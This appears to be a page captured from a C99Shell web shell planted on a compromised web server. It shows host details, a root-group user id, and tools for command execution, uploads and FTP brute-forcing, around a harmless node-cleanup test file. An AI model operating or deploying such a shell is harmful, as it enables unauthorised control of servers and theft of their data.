!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wa.picotech.app/public_html/node_modules/node-cleanup/tests/   drwxr-xr-x
Free 28.48 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     nocleanup.js (3.86 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// tests in which spawned child uses the default cleanup handler

var t = require('tap');
var lib = require('./lib/library');

t.test("nocleanup: normal child exit", function (t) {
    lib.test(t, {
        child: 'stackable',
        handlers: 0,
        exception: false,
        uninstall: false
    }, function (childPID) {
        // no signal
    }, {
        exitReason: 0,
        stdout: "",
        stderr: ""
    });
});

t.test("nocleanup: uncaught exception - default message", function (t) {
    lib.test(t, {
        child: 'stackable',
        handlers: 0,
        exception: true,
        uninstall: false
    }, function (childPID) {
        // no signal
    }, {
        exitReason: 1,
        stdout: "",
        stderr: lib.DEFAULT_EXCEPTION_OUT
    });
});

t.test("nocleanup: uncaught exception - custom message", function (t) {
    lib.test(t, {
        child: 'stackable',
        handlers: 0,
        messages0: {
            uncaughtException: "Yikes!"
        },
        exception: true,
        uninstall: false
    }, function (childPID) {
        // no signal
    }, {
        exitReason: 1,
        stdout: "",
        stderr: /^Yikes!/
    });
});

t.test("nocleanup: child SIGINT - default message", function (t) {
    lib.test(t, {
        child: 'stackable',
        handlers: 0,
        exception: false,
        uninstall: false
    }, function (childPID) {
        process.kill(childPID, 'SIGINT');
    }, {
        exitReason: 'SIGINT',
        stdout: "",
        stderr: lib.DEFAULT_SIGINT_OUT
    });
});

t.test("nocleanup: child SIGINT - custom message", function (t) {
    lib.test(t, {
        child: 'stackable',
        handlers: 0,
        messages0: {
            ctrl_C: "{^C}"
        },
        exception: false,
        uninstall: false
    }, function (childPID) {
        process.kill(childPID, 'SIGINT');
    }, {
        exitReason: 'SIGINT',
        stdout: "",
        stderr: "{^C}\n"
    });
});

t.test("nocleanup: child SIGQUIT", function (t) {
    lib.test(t, {
        child: 'stackable',
        handlers: 0,
        exception: false,
        uninstall: false
    }, function (childPID) {
        process.kill(childPID, 'SIGQUIT');
    }, {
        exitReason: 'SIGQUIT',
        stdout: "",
        stderr: ""
    });
});

t.test("nocleanup: child SIGTERM", function (t) {
    lib.test(t, {
        child: 'stackable',
        handlers: 0,
        exception: false,
        uninstall: false
    }, function (childPID) {
        process.kill(childPID, 'SIGTERM');
    }, {
        exitReason: 'SIGTERM',
        stdout: "",
        stderr: ""
    });
});

t.test("nocleanup: child SIGKILL", function (t) {
    lib.test(t, {
        child: 'stackable',
        handlers: 0,
        exception: false,
        uninstall: false
    }, function (childPID) {
        process.kill(childPID, 'SIGKILL');
    }, {
        exitReason: 'SIGKILL',
        stdout: "",
        stderr: ""
    });
});

t.test("nocleanup/uninstall: normal child exit", function (t) {
    lib.test(t, {
        child: 'stackable',
        handlers: 0,
        exception: false,
        uninstall: true
    }, function (childPID) {
        // no signal
    }, {
        exitReason: 0,
        stdout: "",
        stderr: ""
    });
});

t.test("nocleanup/uninstall: uncaught exception", function (t) {
    lib.test(t, {
        child: 'stackable',
        handlers: 0,
        exception: true,
        uninstall: true
    }, function (childPID) {
        // no signal
    }, {
        exitReason: 1,
        stdout: "",
        stderr: /tests[\/\\]bin[\/\\]stackable.js/
    });
});

t.test("nocleanup/uninstall: child SIGINT", function (t) {
    lib.test(t, {
        child: 'stackable',
        handlers: 0,
        exception: false,
        uninstall: true
    }, function (childPID) {
        process.kill(childPID, 'SIGINT');
    }, {
        exitReason: 'SIGINT',
        stdout: "",
        stderr: ""
    });
});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--